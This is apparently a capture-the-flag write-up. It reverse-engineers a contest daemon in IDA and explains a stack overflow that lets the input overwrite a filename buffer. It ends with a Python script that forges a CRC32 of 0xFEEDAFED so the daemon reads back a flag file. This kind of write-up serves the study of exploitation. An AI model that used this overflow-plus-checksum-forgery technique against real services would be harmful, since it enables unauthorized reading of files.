Identifying the main function

IDA will land us right here when it finishes analysis.

.text:08048830                 public start
.text:08048830 start           proc near
.text:08048830                 <b>xor</b>     ebp, ebp
.text:08048832                 <b>pop</b>     esi
.text:08048833                 <b>mov</b>     ecx, esp
.text:08048835                 <b>and</b>     esp, 0FFFFFFF0h
.text:08048838                 <b>push</b>    eax
.text:08048839                 <b>push</b>    esp
.text:0804883A                 <b>push</b>    edx
.text:0804883B                 <b>push</b>    offset sub_804C700
.text:08048840                 <b>push</b>    offset sub_804C6A0
.text:08048845                 <b>push</b>    ecx
.text:08048846                 <b>push</b>    esi
.text:08048847                 <b>push</b>    offset main
.text:0804884C                 <b>call</b>    ___libc_start_main

Notice at 08048847, I have renamed the function as main.

Analyzing main

Let’s get to main now. The function starts with:

.text:08048AA1 main            proc near               ; DATA XREF: start+17↑o
.text:08048AA1
.text:08048AA1 first_arg       = dword ptr -2F8h
.text:08048AA1 second_arg      = dword ptr -2F4h
.text:08048AA1 third_arg       = dword ptr -2F0h
.text:08048AA1 var_2EC         = dword ptr -2ECh
.text:08048AA1 var_2E8         = dword ptr -2E8h
.text:08048AA1 var_260         = dword ptr -260h
.text:08048AA1 num_read        = dword ptr -25Ch
.text:08048AA1 input_buffer    = dword ptr -258h
.text:08048AA1 var_4C          = dword ptr -4Ch
.text:08048AA1 filename        = dword ptr -48h
.text:08048AA1
.text:08048AA1                 <b>push</b>    ebp
.text:08048AA2                 <b>mov</b>     ebp, esp
.text:08048AA4                 <b>sub</b>     esp, 2F8h       ; fildes
.text:08048AAA                 <b>and</b>     esp, 0FFFFFFF0h
.text:08048AAD                 <b>mov</b>     eax, 0
.text:08048AB2                 <b>add</b>     eax, 0Fh
.text:08048AB5                 <b>add</b>     eax, 0Fh
.text:08048AB8                 <b>shr</b>     eax, 4
.text:08048ABB                 <b>shl</b>     eax, 4
.text:08048ABE                 <b>sub</b>     esp, eax
.text:08048AC0                 <b>mov</b>     [esp+2F8h+first_arg], offset static_buffer
.text:08048AC7                 <b>call</b>    sub_80489E2
.text:08048ACC                 <b>mov</b>     [esp+2F8h+third_arg], 200h
.text:08048AD4                 <b>mov</b>     [esp+2F8h+second_arg], 0
.text:08048ADC                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048AE2                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048AE5                 <b>call</b>    _memset
.text:08048AEA                 <b>mov</b>     [esp+2F8h+third_arg], 40h
.text:08048AF2                 <b>mov</b>     [esp+2F8h+second_arg], 0
.text:08048AFA                 <b>lea</b>     eax, [ebp+filename]
.text:08048AFD                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B00                 <b>call</b>    _memset
.text:08048B05                 <b>mov</b>     [esp+2F8h+second_arg], offset aProcSelfMaps ; "/proc/self/maps"
.text:08048B0D                 <b>lea</b>     eax, [ebp+filename]
.text:08048B10                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B13                 <b>call</b>    _strcpy
.text:08048B18                 <b>mov</b>     [esp+2F8h+third_arg], 400h
.text:08048B20                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B26                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B2A                 <b>mov</b>     [esp+2F8h+first_arg], 0
.text:08048B31                 <b>call</b>    _read
.text:08048B36                 <b>mov</b>     [ebp+num_read], eax
.text:08048B3C                 <b>cmp</b>     [ebp+num_read], 0FFFFFFFFh
.text:08048B43                 <b>jnz</b>     short loc_8048B5D
.text:08048B45                 <b>mov</b>     [esp+2F8h+first_arg], offset aRead ; "read"
.text:08048B4C                 <b>call</b>    _perror
.text:08048B51                 <b>mov</b>     [esp+2F8h+first_arg], 1
.text:08048B58                 <b>call</b>    _exit

Well, you may have noticed that the names are not what you have in your IDA listing. These names are my names given to those identifiers after analyzing the function. So let’s see how we could arrive to the same naming.

First, there is a call to sub_80489E2 and a static_buffer is passed to it. You will be right to guess this is some kind of initialization routine. Why static_buffer? Because it is static (located in .bss segment) and it is a buffer.

Next to it, some sort of buffer is reset to 0 with memset (0×200 bytes). Notice GCC uses mov instead of push to pass arguments to function. Some lowest (top) slots on the stack have been reserved for this purpose. So, a mov to the lowest slot is equivalent to the last push, or in other words, the first argument. And therefore I named the lowest slot first_arg, followed (logically) by second_arg and so on.

We see another buffer being reset to 0 (0×40 bytes). Then right after that, /proc/self/maps is strcpy‘d to that buffer. Well, let’s not waste anytime and mark it filename.

With one buffer marked, we still have one left. Luckily, the next call to read tells us that the remaining buffer should be named input_buffer. Right?

But, hey, wait, the read was for 0×400 bytes while input_buffer is only (0×258 – 0x4C) byte long. That is, if you fill input_buffer with (0×258 – 0x4C) bytes you will hit var_4C, and if you fill 4 bytes more than that, you will hit the beginning of filename. How wonderful! It gives you control over filename.

Let’s move on.

.text:08048B5D loc_8048B5D:                            ; CODE XREF: main+A2↑j
.text:08048B5D                 <b>mov</b>     [esp+2F8h+third_arg], offset aEtcFlagsDaemon ; "/etc/flags/daemon01.txt"
.text:08048B65                 <b>mov</b>     eax, [ebp+num_read]
.text:08048B6B                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B6F                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B75                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B78                 <b>call</b>    is_from_server
.text:08048B7D                 <b>mov</b>     [esp+2F8h+third_arg], offset static_buffer
.text:08048B85                 <b>mov</b>     eax, [ebp+num_read]
.text:08048B8B                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B8F                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B95                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B98                 <b>call</b>    CRC32
.text:08048B9D                 <b>mov</b>     [ebp+var_4C], eax
.text:08048BA0                 <b>cmp</b>     [ebp+var_4C], 0FEEDAFEDh
.text:08048BA7                 <b>jnz</b>     short loc_8048C25
.text:08048BA9                 <b>mov</b>     [esp+2F8h+second_arg], offset aR ; "r"
.text:08048BB1                 <b>lea</b>     eax, [ebp+filename]
.text:08048BB4                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048BB7                 <b>call</b>    _fopen
.text:08048BBC                 <b>mov</b>     [ebp+var_260], eax
.text:08048BC2                 <b>cmp</b>     [ebp+var_260], 0
.text:08048BC9                 <b>jz</b>      short loc_8048C25

Please just take it for granted that at 08048B78 is a call to process score server packets. So let’s skip it over and analyze the next call.

.text:08048A4C CRC32           proc near               ; CODE XREF: main+F7↓p
.text:08048A4C
.text:08048A4C var_8           = dword ptr -8
.text:08048A4C var_4           = dword ptr -4
.text:08048A4C arg_0           = dword ptr  8
.text:08048A4C arg_4           = dword ptr  0Ch
.text:08048A4C arg_8           = dword ptr  10h
.text:08048A4C
.text:08048A4C                 <b>push</b>    ebp
.text:08048A4D                 <b>mov</b>     ebp, esp
.text:08048A4F                 <b>sub</b>     esp, 8
.text:08048A52                 <b>mov</b>     [ebp+var_8], 0FFFFFFFFh
.text:08048A59                 <b>mov</b>     [ebp+var_4], 0
.text:08048A60
.text:08048A60 loc_8048A60:                            ; CODE XREF: CRC32+4C↓j
.text:08048A60                 <b>mov</b>     eax, [ebp+var_4]
.text:08048A63                 <b>cmp</b>     eax, [ebp+arg_4]
.text:08048A66                 <b>jge</b>     short loc_8048A9A
.text:08048A68                 <b>mov</b>     eax, [ebp+var_8]
.text:08048A6B                 <b>mov</b>     ecx, eax
.text:08048A6D                 <b>shr</b>     ecx, 8
.text:08048A70                 <b>mov</b>     eax, [ebp+var_4]
.text:08048A73                 <b>add</b>     eax, [ebp+arg_0]
.text:08048A76                 <b>movzx</b>   eax, byte ptr [eax]
.text:08048A79                 <b>xor</b>     eax, [ebp+var_8]
.text:08048A7C                 <b>and</b>     eax, 0FFh
.text:08048A81                 <b>lea</b>     edx, ds:0[eax*4]
.text:08048A88                 <b>mov</b>     eax, [ebp+arg_8]
.text:08048A8B                 <b>mov</b>     eax, [edx+eax]
.text:08048A8E                 <b>xor</b>     eax, ecx
.text:08048A90                 <b>mov</b>     [ebp+var_8], eax
.text:08048A93                 <b>lea</b>     eax, [ebp+var_4]
.text:08048A96                 <b>inc</b>     dword ptr [eax]
.text:08048A98                 <b>jmp</b>     short loc_8048A60
.text:08048A9A ; ---------------------------------------------------------------------------
.text:08048A9A
.text:08048A9A loc_8048A9A:                            ; CODE XREF: CRC32+1A↑j
.text:08048A9A                 <b>mov</b>     eax, [ebp+var_8]
.text:08048A9D                 <b>not</b>     eax
.text:08048A9F                 <b>leave</b>
.text:08048AA0                 <b>retn</b>
.text:08048AA0 CRC32           endp

If you have seen CRC32 routine before, you will be able to tell this is it. A few signatures are the 0xFFFFFFFF initial value, the “take each character, xor it, and logical and it with 0xFF” (movzx, xor and and starting from 08048A76, and the negation at 08048A9D.

And you’ll be tempting to rename static_buffer to crc32_table. But that’s beside the point. Now we go back to the main function. After taking CRC32 value of the whole read input_buffer, the value is compared with 0xFEEDAFED. If it is equal, then the filename is open, read and written out.

Exploit it

Let’s gather what we’ve got. First we are able to overflow the filename buffer. Second, if the CRC value matches 0xFEEDAFED, the file identified by filename will be opened, read, and written out to stdout. And there lies our only challenge, to construct a buffer with CRC32 value matching 0xFEEDAFED.

import zlib
buffer = "a" * (0x258 - 0x48) + "/etc/flags/daemon01.txtx00"

<b>def</b> fix_crc(buffer, target_crc):
  buffer_crc = zlib.crc32(buffer)
  charset = [chr(x) <b>for</b> x <b>in</b> range(256)]
  fix = ['a'] * 4
  crc = [0] * 4
  <b>for</b> fix[0] <b>in</b> charset:
    crc[0] = zlib.crc32(fix[0], buffer_crc)
    <b>for</b> fix[1] <b>in</b> charset:
      crc[1] = zlib.crc32(fix[1], crc[0])
      <b>for</b> fix[2] <b>in</b> charset:
        crc[2] = zlib.crc32(fix[2], crc[1])
        <b>for</b> fix[3] <b>in</b> charset:
          crc[3] = zlib.crc32(fix[3], crc[2])
          <b>if</b> (crc[3] & 0xFFFFFFFF) == target_crc:
            <b>return</b> ''.join(fix)

buffer = buffer + fix_crc(buffer, 0xFEEDAFED)

Behold our super-elite Python code! It will generate an exploit string ready to be sent to port 1111. Of course it runs damn slow. You are better off applying the reverse CRC32 described by anarchriz.

Observation

This daemon is similar to last year HITB 2006 KL CTF. Last year the CRC32 is a bit different, it used the same lookup table but initial value was not the standard 0xFFFFFFFF and there was no negation at the end. This year, the CRC32 is the standard CRC32 used in Zlib.